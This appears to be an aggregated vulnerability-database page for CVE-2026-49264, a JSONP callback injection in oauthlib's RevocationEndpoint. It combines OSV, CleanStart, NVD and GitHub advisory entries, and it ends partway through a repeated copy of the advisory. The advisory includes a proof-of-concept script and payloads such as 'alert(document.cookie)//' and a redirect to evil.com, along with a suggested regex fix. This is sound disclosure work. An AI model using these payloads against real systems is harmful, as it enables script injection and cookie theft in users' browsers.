"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-vdirsyncer-CVE-2026-49264",
"modified": "2026-10-14T11:01:25Z",
"published": "2026-09-30T21:43:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
CLEANSTART-2026-JM52525 (CVE-2026-49264)
Vulnerability from cleanstart – Published: 2026-10-13 00:36 – Updated: 2026-10-12 10:49 – Source websiteSecurity vulnerability affects the k8s-sidecar package. This issue is resolved in later releases. See references for vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "k8s-sidecar",
"purl": "pkg:apk/cleanstart/k8s-sidecar?arch=x86_64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.2-r1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "k8s-sidecar",
"purl": "pkg:apk/cleanstart/k8s-sidecar?arch=aarch64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.2-r1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Security vulnerability affects the k8s-sidecar package. This issue is resolved in later releases. See references for vulnerability details.",
"id": "CLEANSTART-2026-JM52525",
"modified": "2026-10-12T10:49:15Z",
"published": "2026-10-13T00:36:01.042947Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-JM52525.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Security fix for CVE-2026-49264 applied in: k8s-sidecar 2.8.2-r1",
"upstream": [
"CVE-2026-49264"
]
}
CLEANSTART-2026-UF47691 (CVE-2026-49264)
Vulnerability from cleanstart – Published: 2026-10-10 00:41 – Updated: 2026-10-09 07:45 – Source websiteCVE-2026-49264 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3",
"purl": "pkg:apk/cleanstart/airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.8-r13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3",
"purl": "pkg:apk/cleanstart/airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.1-r11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3",
"purl": "pkg:apk/cleanstart/airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.6-r9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3",
"purl": "pkg:apk/cleanstart/airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.2-r8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "CVE-2026-49264 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-UF47691",
"modified": "2026-10-09T07:45:14Z",
"published": "2026-10-10T00:41:47.739701Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-UF47691.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Security fix for CVE-2026-49264 applied in: airflow-3 3.1.8-r13, airflow-3 3.2.1-r11, airflow-3 3.0.6-r9, airflow-3 3.2.2-r8",
"upstream": [
"CVE-2026-49264"
]
}
FKIE_CVE-2026-49264
Vulnerability from fkie_nvd - Published: 2026-10-13 16:17 - Updated: 2026-10-13 16:17| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c | ||
| security-advisories@github.com | https://github.com/oauthlib/oauthlib/pull/951 | ||
| security-advisories@github.com | https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0 | ||
| security-advisories@github.com | https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v |
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "oauthlib",
"vendor": "oauthlib",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.6.1, \u003c 4.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. From 0.6.1 until 4.0.0, OAuthLib\u0027s RevocationEndpoint in oauthlib/oauth2/rfc6749/endpoints/revocation.py reflects an unvalidated callback request parameter into success and error response bodies when enable_jsonp=True. The callback can come from the query string or request body and is used without restricting it to a legal JavaScript function name. A browser application that loads the revocation response as trusted JSONP and permits attacker influence over callback can therefore execute attacker-controlled JavaScript in the including application\u0027s origin, with access to its DOM and script-accessible data. The feature is disabled by default, so only deployments that explicitly enable JSONP are affected. This issue is fixed in version 4.0.0."
}
],
"id": "CVE-2026-49264",
"lastModified": "2026-10-13T16:17:20.560",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-10-13T16:17:20.560",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Received",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
GHSA-HJ66-6F7G-4R5V
Vulnerability from github – Published: 2026-09-29 17:53 – Updated: 2026-09-29 17:53Summary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.3.1"
},
"package": {
"ecosystem": "PyPI",
"name": "oauthlib"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49264"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T17:53:41Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: 